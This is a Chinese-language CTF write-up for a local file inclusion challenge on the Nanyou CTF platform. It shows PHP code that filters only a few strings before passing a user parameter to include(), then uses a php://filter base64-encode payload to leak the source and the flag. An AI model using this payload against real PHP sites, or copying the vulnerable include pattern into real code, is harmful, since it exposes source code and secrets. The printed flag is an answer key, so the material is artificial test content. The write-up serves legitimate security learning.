南邮CTF-文件包含writeup

学了一天PHP,弄懂了很多之前学的模糊的知识~

writeup

题目提示:LFI

点击后

先看服务器中的index.php文件中的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>Bugku-ctf</title>

<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

可以看出:

1.关闭了报错提示
2.flag被注释掉了,不能显示到网页
3.如果不存在file参数,显示‘click me? no’;如果存在file参数,且其值中有‘../ 、tp 、input 、data’时显示‘Oh no!’并退出脚本
其他情况为打开file后的参数名文件(文件不存在且关闭了报错提示,则网页显示空白)

那么如何才能获得PHP源码呢?做法很简单,只需要将PHP代码编码即可

为了读取包含有敏感信息的PHP等源文件,我们就要先将“可能引发冲突的PHP代码”编码一遍

这里就会用到php://filter,php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流

使用

php://filter/read=convert.base64-encode/resource=./xxe.php

即可将PHP中的代码进行base64编码

将代码复制解码,即能看到flag信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>Bugku-ctf</title>

<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

参考链接

https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247487364&idx=1&sn=28c137a2b75f1b59256741d6c8686fbd&chksm=ec1e3facdb69b6ba3e6fd0593de30a57d3c8684fc3c64d2ecf12d5040e393749d5cf720dca91&scene=21#wechat_redirect